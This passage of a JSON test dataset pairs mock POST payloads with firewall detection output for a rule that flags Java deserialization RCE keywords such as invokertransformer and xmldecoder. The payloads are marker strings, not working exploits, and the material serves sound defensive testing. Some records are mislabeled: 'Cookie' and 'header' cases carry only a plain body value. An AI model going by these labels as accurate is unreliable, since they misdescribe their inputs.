"REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.instantiatefactory\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatefactory</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatefactory</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.instantiatefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.instantiatefactory\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.instantiatefactory\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.instantiatefactory\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.instantiatefactory\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatefactory</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatefactory</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.instantiatetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.instantiatetransformer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.instantiatetransformer attribute_name=\"attribute_value\">value</ProcessBuilder.evil.instantiatetransformer></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.instantiatetransformer=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.instantiatetransformer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatetransformer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatetransformer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.instantiatetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.instantiatetransformer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.instantiatetransformer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.instantiatetransformer\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.instantiatetransformer\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.instantiatetransformer</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type 